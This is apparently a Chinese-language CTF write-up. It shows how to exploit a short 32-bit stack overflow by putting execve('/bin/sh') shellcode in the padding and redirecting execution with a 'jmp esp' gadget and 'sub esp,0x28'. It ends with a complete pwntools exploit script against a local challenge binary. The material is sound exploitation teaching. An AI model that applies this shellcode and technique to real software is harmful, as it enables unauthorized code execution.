当溢出长度不足时,如何将shellcode放入padding位值,并执行呢?
目录
前言
一、题目重述
编辑
二、题目分析
1.存在溢出
2.如何跳转
3.payload构想
4.Addr(jmp esp)
5.指令序列
三、exp
总
前言
回顾ret2shellcode发现还有很多基础的技巧没有掌握。本题算是一个经典地、通过jmp esp将栈上的shellcode进行执行的题目。
一、题目重述
二、题目分析
1.存在溢出
但是溢出字节为50-(0x20+4)=14byte,构造合适的ROP链比较困难。但是padding长度有0x24个,所以可以尝试将shellcode写在栈上,当作padding的一部分,然后执行
2.如何跳转
栈地址我们如何得到——或者说,shellcode的地址如何确定,怎么能够ret到该地址执行shellcode呢?
这里就是本次想总结的技巧点:栈信息总是通过esp和ebp来确定。 <jmp esp;> 指令能够将执行流跳转到栈上,准确来说是esp指向的栈的下一条,因为这里是ret到jmp esp的地址,ret指令会弹栈;而jmp指令不会弹栈。
这就意味着我们还需要对esp的值进行操作,让他指向我们的shellcode起始位置,再控制跳转执行。
3.payload构想
padding(shellcode+padding)+ Addr(jmp esp) + 【指令序列(esp 指向shellcode;jmp esp)】
4.Addr(jmp esp)
5.指令序列
到ret时,已经填充了0x20+0x4个字节,同时由于ret又弹出了一个字,这时esp距离shellcode有0x20+0x4+0x4=0x28个字节。因此,指令序列为:
sub esp,0x28; jmp esp;
三、exp
from pwn import *
context.arch='i386'
context.log_level='debug'
io=process('./pwn')
io.recvuntil(b'name?\n')
# shellcraft.sh()过长,这里利用收集的短shellcode
payload=b'\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80'
payload+=b'a'*(32+4-len(payload))
payload+=p32(0x08048504)+asm('sub esp,0x28;jmp esp;')
io.sendline(payload)
io.recv()
io.interactive()
总结
通过本例,掌握一个基础而常见的技巧:控制执行流到栈上指定位置开始执行。核心是利用了jmp esp 指令